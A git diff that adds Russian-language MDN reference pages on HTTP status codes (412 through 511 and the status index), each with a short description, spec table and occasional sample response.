+ + diff --git a/files/ru/web/http/status/412/index.html b/files/ru/web/http/status/412/index.html new file mode 100644 index 0000000000..a3b7883952 --- /dev/null +++ b/files/ru/web/http/status/412/index.html @@ -0,0 +1,42 @@ +--- +title: 412 Precondition Failed +slug: Web/HTTP/Status/412 +translation_of: Web/HTTP/Status/412 +--- +
{{HTTPSidebar}}
+ +

The HTTP 412 Precondition Failed клиентский код ответа на ошибку указывает, что доступ к целевому ресурсу был отклонен. Это происходит с условными запросами на методы, отличные от  {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}, когда условие определено {{HTTPHeader("If-Unmodified-Since")}} или {HTTPHeader("If-None-Match")}} не выполняется. В этом случае запрос, обычно загрузка или изменение ресурса, не может быть выполнен, и этот ответ об ошибке отправляется обратно.

+ +

Статус

+ +
412 Precondition Failed
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7232", "412 Precondition Failed" , "4.2")}}Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests
+ +

Совместимость с браузером

+ + + +

{{Compat("http/status", "412")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/413/index.html b/files/ru/web/http/status/413/index.html new file mode 100644 index 0000000000..e0383192a9 --- /dev/null +++ b/files/ru/web/http/status/413/index.html @@ -0,0 +1,34 @@ +--- +title: 413 Payload Too Large +slug: Web/HTTP/Status/413 +translation_of: Web/HTTP/Status/413 +--- +
{{HTTPSidebar}}
+ +

Код HTTP 413 Payload Too Large , указывает, что объект запроса больше, чем ограничения, определенные сервером; сервер может закрыть соединение или вернуть поле {{HTTPHeader("Retry-After")}}.

+ +

Статус

+ +
413 Payload Too Large
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "413 Payload Too Large" , "6.5.11")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/414/index.html b/files/ru/web/http/status/414/index.html new file mode 100644 index 0000000000..39a195968e --- /dev/null +++ b/files/ru/web/http/status/414/index.html @@ -0,0 +1,41 @@ +--- +title: 414 URI Too Long +slug: Web/HTTP/Status/414 +translation_of: Web/HTTP/Status/414 +--- +
{{HTTPSidebar}}
+ +

Код состояния HTTP 414 URI Too Long  указывает, что URI, запрошенный клиентом, длиннее, чем сервер готов интерпретировать.

+ +

Есть несколько редких условий, когда это может произойти:

+ + + +

Статус

+ +
414 URI Too Long
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацииНазвание
{{RFC("7231", "414 URI Too Long" , "6.5.12")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/415/index.html b/files/ru/web/http/status/415/index.html new file mode 100644 index 0000000000..73c47e719d --- /dev/null +++ b/files/ru/web/http/status/415/index.html @@ -0,0 +1,37 @@ +--- +title: 415 Unsupported Media Type +slug: Web/HTTP/Status/415 +translation_of: Web/HTTP/Status/415 +--- +
{{HTTPSidebar}}
+ +

Код ответа на ошибку клиента HTTP 415 Unsupported Media Type указывает, что сервер отказывается принять запрос, потому что формат содержимого не поддерживается сервером.

+ +

Проблема формата может быть связана с указанным запросом {{HTTPHeader("Content-Type")}} или {{HTTPHeader("Content-Encoding")}} или в результате непосредственного контроля данных.

+ +

Status

+ +
415 Unsupported Media Type
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "415 Unsupported Media Type" , "6.5.13")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/416/index.html b/files/ru/web/http/status/416/index.html new file mode 100644 index 0000000000..05ffd0b379 --- /dev/null +++ b/files/ru/web/http/status/416/index.html @@ -0,0 +1,49 @@ +--- +title: 416 Range Not Satisfiable +slug: Web/HTTP/Status/416 +tags: + - HTTP + - Код состояния + - Ошибка клиента +translation_of: Web/HTTP/Status/416 +--- +
{{HTTPSidebar}}
+ +

Код ошибки HTTP 416 Range Not Satisfiable указывает, что сервер не может обслуживать запрошенные диапазоны. Наиболее вероятная причина заключается в том, что документ не содержит таких диапазонов или что значение {{HTTPHeader ("Range")}}, хотя и синтаксически корректно, не имеет смысла.

+ +

Cообщение ответа 416 содержит {{HTTPHeader("Content-Range")}}, указывающий на неудовлетворенный диапазон (это '*'), за которым следуют '/' и текущий ресурс. Например: Content-Range: */12777

+ +

Столкнувшись с этой ошибкой, браузеры обычно либо прерывают операцию (например, загрузка будет считаться не возобновляемой), либо снова запрашиваются ведь документ.

+ +

Статус

+ +
416 Range Not Satisfiable
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7233", "416 Request Not Satisfiable" , "4.4")}}Hypertext Transfer Protocol (HTTP/1.1): Range Requests
+ +

Поддержка браузерами

+ + + +

{{Compat("http/status.416")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/417/index.html b/files/ru/web/http/status/417/index.html new file mode 100644 index 0000000000..75cd262422 --- /dev/null +++ b/files/ru/web/http/status/417/index.html @@ -0,0 +1,41 @@ +--- +title: 417 Expectation Failed +slug: Web/HTTP/Status/417 +tags: + - HTTP + - Код статуса + - Код статуса HTTP + - Ошибка клиента + - Справка +translation_of: Web/HTTP/Status/417 +--- +
{{HTTPSidebar}}
+ +

Код ошибки HTTP 417 Expectation Failed указывает на то, что ожидание, указанное в  {{HTTPHeader("Expect")}}, не может быть выполнено.

+ +

Дополнительную информацию смотрите в  {{HTTPHeader("Expect")}}.

+ +

Статус

+ +
417 Expectation Failed
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "417 Expectation Failed" , "6.5.14")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/418/index.html b/files/ru/web/http/status/418/index.html new file mode 100644 index 0000000000..fb8bf0dd9f --- /dev/null +++ b/files/ru/web/http/status/418/index.html @@ -0,0 +1,48 @@ +--- +title: 418 I'm a teapot +slug: Web/HTTP/Status/418 +tags: + - 1 апреля + - '418' + - кофе + - кофейник + - чайник + - шутка +translation_of: Web/HTTP/Status/418 +--- +
{{HTTPSidebar}}
+ +
 
+ +

HTTP код ошибки 418 I'm a teapot сообщает о том, что сервер не может приготовить кофе, потому что он чайник. Эта ошибка ссылается на Hyper Text Coffee Pot Control Protocol (гипертекстовый протокол кофейников) который был первоапрельской шуткой в 1998 году.

+ +

Статус

+ +
418 I'm a teapot
+ +

Спецификации

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("2324", "418 I'm a teapot" , "2.3.2")}}Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0): Semantics and Content
+ +

Поддержка браузерами

+ + + +

{{Compat("http.status.418")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/422/index.html b/files/ru/web/http/status/422/index.html new file mode 100644 index 0000000000..cb37f0af93 --- /dev/null +++ b/files/ru/web/http/status/422/index.html @@ -0,0 +1,41 @@ +--- +title: 422 Unprocessable Entity +slug: Web/HTTP/Status/422 +tags: + - HTTP + - HTTP коды состояний + - WebDAV + - Коды состояний + - Ошибка клиента +translation_of: Web/HTTP/Status/422 +--- +

{{HTTPSidebar}}

+ +

Код состояния ответа HTTP 422 Unprocessable Entity указывает, что сервер понимает тип содержимого в теле запроса и синтаксис запроса является правильным, но серверу не удалось обработать инструкции содержимого.

+ +

К примеру, эта ошибка может возникнуть, если тело запроса содержит хорошо сформированный (т.е. синтаксически корректный) XML-документ, но семантически ошибочные XML-инструкции.

+ +
+

Важно: Клиент не должен повторять запрос повторно, т.е. без модификаций.

+
+ +

Статус

+ +
422 Unprocessable Entity
+ +

Характеристики

+ + + + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("4918", "422 Unprocessable Entity" , "11.2")}}HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)
diff --git a/files/ru/web/http/status/425/index.html b/files/ru/web/http/status/425/index.html new file mode 100644 index 0000000000..179d9cb1e2 --- /dev/null +++ b/files/ru/web/http/status/425/index.html @@ -0,0 +1,40 @@ +--- +title: 425 Too Early +slug: Web/HTTP/Status/425 +tags: + - HTTP + - Браузер + - Код состояния + - Ошибка клиента +translation_of: Web/HTTP/Status/425 +--- +
{{SeeCompatTable}}{{HTTPSidebar}}
+ +

Код ответа протокола передачи гипертекста (HTTP) 425 Too Early означает, что сервер не хочет рисковать обрабатывать запрос, который может быть воспроизведенным, поскольку это открывает возможность для атаки повторного воспроизведения.

+ +

Статус

+ +
425 Too Early
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationTitle
{{RFC("8470", "425: Early Data", "5.2")}}Using Early Data in HTTP
+ +

Browser compatibility

+ + + +

{{Compat("http.status.425")}}

diff --git a/files/ru/web/http/status/426/index.html b/files/ru/web/http/status/426/index.html new file mode 100644 index 0000000000..7fd92b4649 --- /dev/null +++ b/files/ru/web/http/status/426/index.html @@ -0,0 +1,46 @@ +--- +title: 426 Upgrade Required +slug: Web/HTTP/Status/426 +translation_of: Web/HTTP/Status/426 +--- +
{{HTTPSidebar}}
+ +

Код ответа на  HTTP 426 Upgrade Required  указывает, что сервер отказывается выполнять запрос с использованием текущего протокола, но может захотеть сделать это после того, как клиент обновится до другого протокола.

+ +

Сервер отправляет {{HTTPHeader("Upgrade")}} с этим ответом, чтобы указать требуемый протокол (ы).

+ +

Статус

+ +
426 Upgrade Required
+ +

Примеры

+ +
HTTP/1.1 426 Upgrade Required
+Upgrade: HTTP/3.0
+Connection: Upgrade
+Content-Length: 53
+Content-Type: text/plain
+
+This service requires use of the HTTP/3.0 protocol
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "426 Upgrade Required" , "6.5.15")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/428/index.html b/files/ru/web/http/status/428/index.html new file mode 100644 index 0000000000..f0f6adc9dc --- /dev/null +++ b/files/ru/web/http/status/428/index.html @@ -0,0 +1,39 @@ +--- +title: 428 Precondition Required +slug: Web/HTTP/Status/428 +translation_of: Web/HTTP/Status/428 +--- +
{{HTTPSidebar}}
+ +

Код статуса HTTP 428 Precondition Required означает, что сервер требует, чтобы запрос был условным (соответствовал неким предварительно заданным условиям).

+ +

Как правило, это означает, что требуемый заголовок предварительного условия, например {{HTTPHeader("If-Match")}} отсутствует .

+ +

Если заголовок предусловия не соответствует состоянию на стороне сервера, ответ должен быть {{HTTPStatus(412)}} Precondition Failed.

+ +

Статус

+ +
428 Precondition Required
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацииНазвание
{{RFC("6585", "428 Precondition Required" , "3")}}Расширенные коды статуса HTTP
+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/429/index.html b/files/ru/web/http/status/429/index.html new file mode 100644 index 0000000000..bfec2e5cc5 --- /dev/null +++ b/files/ru/web/http/status/429/index.html @@ -0,0 +1,42 @@ +--- +title: 429 Too Many Requests +slug: Web/HTTP/Status/429 +translation_of: Web/HTTP/Status/429 +--- +
{{HTTPSidebar}}
+ +

HTTP 429 Too Many Requests код ответа указывает, что пользователь отправил слишком много запросов за последнее временя ("ограничение скорости" или "rate limiting" ).

+ +

В этот ответ может быть включен  {{HTTPHeader("Retry-After")}}, указывающий, как долго ждать нового запроса.

+ +

Статус

+ +
429 Too Many Requests
+ +

Пример

+ +
HTTP/1.1 429 Too Many Requests
+Content-Type: text/html
+Retry-After: 3600
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("6585", "429 Too Many Requests" , "4")}}Additional HTTP Status Codes
+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/431/index.html b/files/ru/web/http/status/431/index.html new file mode 100644 index 0000000000..691fb74671 --- /dev/null +++ b/files/ru/web/http/status/431/index.html @@ -0,0 +1,37 @@ +--- +title: 431 Request Header Fields Too Large +slug: Web/HTTP/Status/431 +translation_of: Web/HTTP/Status/431 +--- +
{{HTTPSidebar}}
+ +

HTTP 431 Request Header Fields Too LargeКод состояния ответа указывает, что сервер не желает обрабатывать запрос, потому что его поля заголовка слишком велики. Запрос может быть повторно представлен после уменьшения размера полей заголовка запроса.

+ +

Его можно использовать, если общее количество полей заголовка запроса слишком велико или когда одно поле заголовка слишком велико.

+ +

Эта ошибка не должна происходить в хорошо проверенных производственных системах, но ее можно найти чаще при тестировании новой системы.

+ +

Статус

+ +
431 Request Header Fields Too Large
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("6585", "431 Request Header Fields Too Large" , "5")}}Additional HTTP Status Codes
+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/451/index.html b/files/ru/web/http/status/451/index.html new file mode 100644 index 0000000000..426cde0317 --- /dev/null +++ b/files/ru/web/http/status/451/index.html @@ -0,0 +1,61 @@ +--- +title: 451 Unavailable For Legal Reasons +slug: Web/HTTP/Status/451 +translation_of: Web/HTTP/Status/451 +--- +
{{HTTPSidebar}}
+ +

 HTTP-код ответа 451 Unavailable For Legal Reasons  указывает, что пользователь запросил ресурс, который недоступен по юридическим причинам, например веб-страница, заблокированная из-за судебных исков.

+ +

Статус

+ +
451 Unavailable For Legal Reasons
+ +

Пример

+ +

Этот пример ответа берется из IETF RFC (см. ниже) и содержит ссылку на {{interwiki("wikipedia", "Monty_Python's_Life_of_Brian", "Monty Python's Life of Brian")}}.

+ +

Обратите внимание, что {{HTTPHeader("Link")}}также может содержать отношение a rel="blocked-by", идентифицирующее объект, ответственный за недоступный ресурс, например имя человека или организации, которые предъявили законный запрос В результате чего удаление содержимого.

+ +
HTTP/1.1 451 Unavailable For Legal Reasons
+Link: <https://spqr.example.org/legislatione>; rel="blocked-by"
+Content-Type: text/html
+
+<html>
+<head><title>Unavailable For Legal Reasons</title></head>
+<body>
+<h1>Unavailable For Legal Reasons</h1>
+<p>This request may not be serviced in the Roman Province
+of Judea due to the Lex Julia Majestatis, which disallows
+access to resources hosted on servers deemed to be
+operated by the People's Front of Judea.</p>
+</body>
+</html>
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7725", "451 Unavailable For Legal Reasons")}}An HTTP Status Code to Report Legal Obstacles
+ +

Совместимость с браузером

+ + + +

{{Compat("http/status", "451")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/500/index.html b/files/ru/web/http/status/500/index.html new file mode 100644 index 0000000000..0e64be8339 --- /dev/null +++ b/files/ru/web/http/status/500/index.html @@ -0,0 +1,45 @@ +--- +title: 500 Internal Server Error +slug: Web/HTTP/Status/500 +tags: + - HTTP + - Код ошибки + - Ошибка сервера +translation_of: Web/HTTP/Status/500 +--- +
{{HTTPSidebar}}
+ +

Код ответа сервера 500 Internal Server Error  указывает на то, что сервер столкнулся с неожиданной ошибкой, которая помешала ему выполнить запрос.

+ +

Этот код является обобщённым ответом на перехват всех исключений, которые не были обработаны должным образом. Обычно это означает, что сервер не смог найти более подходящего кода ответа. Зачастую администраторы сервера регистрируют (логируют) сообщения об ошибках, подобных коду состояния 500 (включая дополнительную информацию о запросе), чтобы предотвратить повторение ошибки в будущем.

+ +

Статус

+ +
500 Internal Server Error (Внутренняя ошибка сервера)
+ +

Спецификации

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "500 Internal Server Error" , "6.6.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузерами

+ + + +

{{Compat("http.status.500")}}

+ +

Дополнительная информация

+ + diff --git a/files/ru/web/http/status/501/index.html b/files/ru/web/http/status/501/index.html new file mode 100644 index 0000000000..4f13aabd5e --- /dev/null +++ b/files/ru/web/http/status/501/index.html @@ -0,0 +1,39 @@ +--- +title: 501 Not Implemented +slug: Web/HTTP/Status/501 +translation_of: Web/HTTP/Status/501 +--- +
+

The HTTP 501 Not Implemented cерверный код ответа на ошибку указывает, что метод запроса не поддерживается сервером и не может быть обработан. Единственными методами, которые необходимы серверам для поддержки (и, следовательно, не должны возвращать этот код), являются {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}}.

+ +

Обратите внимание, что 501 error не является чем-то, что вы можете исправить, но требует исправления веб-сервером, к которому вы пытаетесь получить доступ.

+
+ +
+

По умолчанию ответ 501 можно кэшировать.

+
+ +

Статус

+ +
501 Not Implemented
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "501 Not Implemented" , "6.6.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузером

+ + + +

{{Compat("http/status", "501")}}

diff --git a/files/ru/web/http/status/502/index.html b/files/ru/web/http/status/502/index.html new file mode 100644 index 0000000000..0e1bccb304 --- /dev/null +++ b/files/ru/web/http/status/502/index.html @@ -0,0 +1,47 @@ +--- +title: 502 Bad Gateway +slug: Web/HTTP/Status/502 +tags: + - HTTP + - Код статуса +translation_of: Web/HTTP/Status/502 +--- +
{{HTTPSidebar}}
+ +

HTTP серверный код ответа на ошибку 502 Bad Gateway указывает, что сервер, действуя как шлюз или прокси, получил неверный ответ от восходящего сервера.

+ +
+

{{interwiki("wikipedia", "Сетевой_шлюз", "Сетевой шлюз")}} может ссылаться на разные вещи в сети, а ошибка 502 обычно не является чем-то, что вы можете исправить, но требует исправления веб-сервером или прокси, к которым вы пытаетесь получить доступ.

+
+ +

Статус

+ +
502 Bad Gateway
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "502 Bad Gateway" , "6.6.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузерами

+ + + +

{{Compat("http/status", "502")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/503/index.html b/files/ru/web/http/status/503/index.html new file mode 100644 index 0000000000..7e5cba9e09 --- /dev/null +++ b/files/ru/web/http/status/503/index.html @@ -0,0 +1,43 @@ +--- +title: 503 Service Unavailable +slug: Web/HTTP/Status/503 +translation_of: Web/HTTP/Status/503 +--- +
{{HTTPSidebar}}
+ +

 HTTP 503 Service Unavailable код состояния сервера, указывающий на то. что сервер не готов обработать данный запрос.

+ +

Часто причиной этого оказывается закрытие сервера для технических работ или его перегрузка. Обратите внимание, что вместе с этим ответом следует отправить удобную для пользователя страницу, объясняющую проблему. Данный код должен использоваться для временных состояний, а HTTP-заголовок {{HTTPHeader("Retry-After")}} должен, по возможности, содержать предполагаемое время возвращения в работу.

+ +

Стоит позаботиться и о заголовках, связанных с кэшированием, отправляемых с этим кодом, так как код состояния 503 часто является временным условием, и ответы обычно не должны кэшироваться.

+ +

Статус

+ +
503 Service Unavailable
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "503 Service Unavailable" , "6.6.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузером

+ + + +

{{Compat("http/status", "503")}}

+ +

Смотри также

+ + diff --git a/files/ru/web/http/status/504/index.html b/files/ru/web/http/status/504/index.html new file mode 100644 index 0000000000..8d799e906e --- /dev/null +++ b/files/ru/web/http/status/504/index.html @@ -0,0 +1,41 @@ +--- +title: 504 Gateway Timeout +slug: Web/HTTP/Status/504 +translation_of: Web/HTTP/Status/504 +--- +
{{HTTPSidebar}}
+ +

HTTP код 504 Gateway Timeout , полученный в ответе, указывает на ошибку, что сервер, действуя как шлюз или прокси, не может получить ответ вовремя.

+ +

{{interwiki("wikipedia", "Gateway_(telecommunications)", "Gateway")}} могут ссылаться на разные вещи в сети, а 504  error обычно не является чем-то, что вы можете исправить, но требует исправления веб-сервером или Прокси, к которым вы пытаетесь получить доступ.

+ +

Статус

+ +
504 Gateway Timeout
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "504 Gateway Timeout" , "6.6.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузером

+ + + +

{{Compat("http/status", "504")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/505/index.html b/files/ru/web/http/status/505/index.html new file mode 100644 index 0000000000..1190c85e22 --- /dev/null +++ b/files/ru/web/http/status/505/index.html @@ -0,0 +1,33 @@ +--- +title: 505 HTTP Version Not Supported +slug: Web/HTTP/Status/505 +translation_of: Web/HTTP/Status/505 +--- +
{{HTTPSidebar}}
+ +

HTTP 505 HTTP Version Not Supported код состояния ответа указывает, что версия HTTP, используемая в запросе, не поддерживается сервером.

+ +

Статус

+ +
505 HTTP Version Not Supported
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "505 HTTP Version Not Supported" , "6.6.6")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/511/index.html b/files/ru/web/http/status/511/index.html new file mode 100644 index 0000000000..de17af10eb --- /dev/null +++ b/files/ru/web/http/status/511/index.html @@ -0,0 +1,37 @@ +--- +title: 511 Network Authentication Required +slug: Web/HTTP/Status/511 +translation_of: Web/HTTP/Status/511 +--- +
{{HTTPSidebar}}
+ +

The HTTP 511 Network Authentication Required код состояния ответа указывает, что клиент должен пройти аутентификацию, чтобы получить доступ к сети.

+ +

Этот статус не генерируется серверами происхождения, а путем перехвата прокси-серверов, которые контролируют доступ к сети.

+ +

Сетевые операторы иногда требуют некоторой аутентификации, принятия условий или другого взаимодействия с пользователем перед предоставлением доступа (например, в интернет-кафе или в аэропорту). Они часто идентифицируют клиентов, которые еще не сделали этого, используя свой адрес  Media Access Control ({{Glossary("MAC")}}).

+ +

Статус

+ +
511 Network Authentication Required
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("6585", "511 Network Authentication Required" , "6")}}Additional HTTP Status Codes
+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/index.html b/files/ru/web/http/status/index.html new file mode 100644 index 0000000000..4ca660ba38 --- /dev/null +++ b/files/ru/web/http/status/index.html @@ -0,0 +1,353 @@ +--- +title: Коды ответа HTTP +slug: Web/HTTP/Status +tags: + - HTTP + - HTTP Response codes + - HTTP response code + - код ответа HTTP + - коды HTTP + - ошибки HTTP + - хттп коды ответов +translation_of: Web/HTTP/Status +--- +
{{HTTPSidebar}}
+ +

Код ответа (состояния) HTTP показывает, был ли успешно выполнен определённый HTTP запрос. Коды сгруппированы в 5 классов:

+ +
    +
  1. Информационные 100 - 199
    2. +
  2. Успешные 200 - 299
    3. +
  3. Перенаправления 300 - 399
    4. +
  4. Клиентские ошибки 400 - 499
    5. +
  5. Серверные ошибки 500 - 599
    6. +
+ +

Коды состояния определены в 10-ой секции RFC 2616. Обновленную спецификацию можно найти в RFC 7231 . 

+ +

Если Вы получли код ответа (состояния), которого нет в данном списке, в таком случае он является не стандартизированным кодом ответа (состояния), вероятней всего он кастомный сервера.

+ +

Следующая таблица содержит список всех кодов и их значения:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Код ответаНазваниеОписаниеВерсия HTTP
Информационные
100Continue"Продолжить". Этот промежуточный ответ указывает, что запрос успешно принят и клиент может продолжать присылать запросы либо проигнорировать этот ответ, если запрос был завершён.Только HTTP/1.1
101Switching Protocol"Переключение протокола". Этот код присылается в ответ на запрос клиента, содержащий заголовок Upgrade:, и указывает, что сервер переключился на протокол, который был указан в заголовке. Эта возможность позволяет перейти на несовместимую версию протокола и обычно не используется.Только HTTP/1.1
102Processing"В обработке". Этот код указывает, что сервер получил запрос и обрабатывает его, но обработка еще не завершена.Только HTTP/1.1
103Early Hints"Ранние подсказки". В ответе сообщаются ресурсы, которые могут быть загружены заранее, пока сервер будет подготовливать основной ответ. RFC 8297 (Experimental).Только HTTP/1.1
Успешные
200 +

OK

+ 		"Успешно". Запрос успешно обработан. Что значит "успешно", зависит от метода HTTP, который был запрошен: +
    +
  • GET: "ПОЛУЧИТЬ". Запрошенный ресурс был найден и передан в теле ответа.
    • +
  • HEAD: "ЗАГОЛОВОК". Заголовки переданы в ответе.
    • +
  • POST: "ПОСЫЛКА". Ресурс, описывающий результат действия сервера на запрос, передан в теле ответа.
    • +
  • TRACE: "ОТСЛЕЖИВАТЬ". Тело ответа содержит тело запроса полученного сервером.
    • +
+ 		HTTP/0.9 и выше
201Created"Создано". Запрос успешно выполнен и в результате был создан ресурс. Этот код обычно присылается в ответ на запрос PUT "ПОМЕСТИТЬ".HTTP/0.9 и выше
202Accepted"Принято". Запрос принят, но ещё не обработан. Не поддерживаемо, т.е., нет способа с помощью HTTP отправить асинхронный ответ позже, который будет показывать итог обработки запроса. Это предназначено для случаев, когда запрос обрабатывается другим процессом или сервером, либо для пакетной обработки.HTTP/0.9 и выше
203Non-Authoritative Information"Информация не авторитетна". Этот код ответа означает, что информация, которая возвращена, была предоставлена не от исходного сервера, а из какого-нибудь другого источника. Во всех остальных ситуациях более предпочтителен код ответа 200 OK.HTTP/0.9 и 1.1
204No Content"Нет содержимого". Нет содержимого для ответа на запрос, но заголовки ответа, которые могут быть полезны, присылаются. Клиент может использовать их для обновления кешированных заголовков полученных ранее для этого ресурса.HTTP/0.9 и выше
205Reset Content"Сбросить содержимое". Этот код присылается, когда запрос обработан, чтобы сообщить клиенту, что необходимо сбросить отображение документа, который прислал этот запрос.Только HTTP/1.1
206Partial Content"Частичное содержимое". Этот код ответа используется, когда клиент присылает заголовок диапазона, чтобы выполнить загрузку отдельно, в несколько потоков.Только HTTP/1.1
Сообщения о перенаправлениях
300Multiple Choice +

"Множественный выбор". Этот код ответа присылается, когда запрос имеет более чем один из возможных ответов. И User-agent или пользователь должен выбрать один из ответов. Не существует стандартизированного способа выбора одного из полученных ответов.

+ 		HTTP/1.0 and later
301Moved Permanently +

"Перемещён на постоянной основе". Этот код ответа значит, что URI запрашиваемого ресурса был изменен. Возможно, новый URI будет предоставлен в ответе.

+ 		HTTP/0.9 and later
302Found +

"Найдено". Этот код ответа значит, что запрошенный ресурс временно изменен. Новые изменения в URI могут быть доступны в будущем. Таким образом, этот URI, должен быть использован клиентом в будущих запросах.

+ 		HTTP/0.9 and later
303See Other"Просмотр других ресурсов". Этот код ответа присылается, чтобы направлять клиента для получения запрашиваемого ресурса в другой URI с запросом GET.HTTP/0.9 and 1.1
304Not Modified"Не модифицировано". Используется для кэширования. Это код ответа значит, что запрошенный ресурс не был изменен. Таким образом, клиент может продолжать использовать кэшированную версию ответа.HTTP/0.9 and later
305Use Proxy"Использовать прокси". Это означает, что запрошенный ресурс должен быть доступен через прокси. Этот код ответа в основном не поддерживается из соображений безопасности.HTTP/1.1 only
306Switch ProxyБольше не использовать. Изначально подразумевалось, что " последующие запросы должны использовать указанный прокси."HTTP/1.1 only
307Temporary Redirect"Временное перенаправление". Сервер отправил этот ответ, чтобы клиент получил запрошенный ресурс на другой URL-адрес с тем же методом, который использовал предыдущий запрос. Данный код имеет ту же семантику, что код ответа 302 Found, за исключением того, что агент пользователя не должен изменять используемый метод HTTP: если в первом запросе использовался POST, то во втором запросе также должен использоваться POST.HTTP/1.1 only
308Permanent Redirect +

"Перенаправление на постоянной основе". Это означает, что ресурс теперь постоянно находится в другом URI, указанном в заголовке Location: HTTP Response. Данный код ответа имеет ту же семантику, что и код ответа 301 Moved Permanently, за исключением того, что агент пользователя не должен изменять используемый метод HTTP: если POST использовался в первом запросе, POST должен использоваться и во втором запросе.

+ +
Примечание: Это экспериментальный код ответа, Спецификация которого в настоящее время находится в черновом виде.
+ 		draft-reschke-http-status-308
Клиентские
400Bad Request"Плохой запрос". Этот ответ означает, что сервер не понимает запрос из-за неверного синтаксиса. HTTP/0.9 and later
401Unauthorized"Неавторизовано". Для получения запрашиваемого ответа нужна аутентификация. Статус похож на статус 403, но,в этом случае, аутентификация возможна. HTTP/0.9 and later
402Payment Required"Необходима оплата". Этот код ответа зарезервирован для будущего использования. Первоначальная цель для создания этого когда была в использовании его для цифровых платежных систем(на данный момент не используется).HTTP/0.9 and 1.1
403Forbidden"Запрещено". У клиента нет прав доступа к содержимому, поэтому сервер отказывается дать надлежащий ответ. HTTP/0.9 and later
404Not Found"Не найден". Сервер не может найти запрашиваемый ресурс. Код этого ответа, наверно, самый известный из-за частоты его появления в вебе. HTTP/0.9 and later
405Method Not Allowed"Метод не разрешен". Сервер знает о запрашиваемом методе, но он был деактивирован и не может быть использован. Два обязательных метода,  GET и HEAD,  никогда не должны быть деактивированы и не должны возвращать этот код ошибки.HTTP/1.1 only
406Not Acceptable +

Этот ответ отсылается, когда веб сервер после выполнения server-driven content negotiation, не нашел контента, отвечающего критериям, полученным из user agent.

+ 		HTTP/1.1 only
407Proxy Authentication RequiredЭтот код ответа аналогичен коду 401, только аутентификация требуется для прокси сервера.HTTP/1.1 only
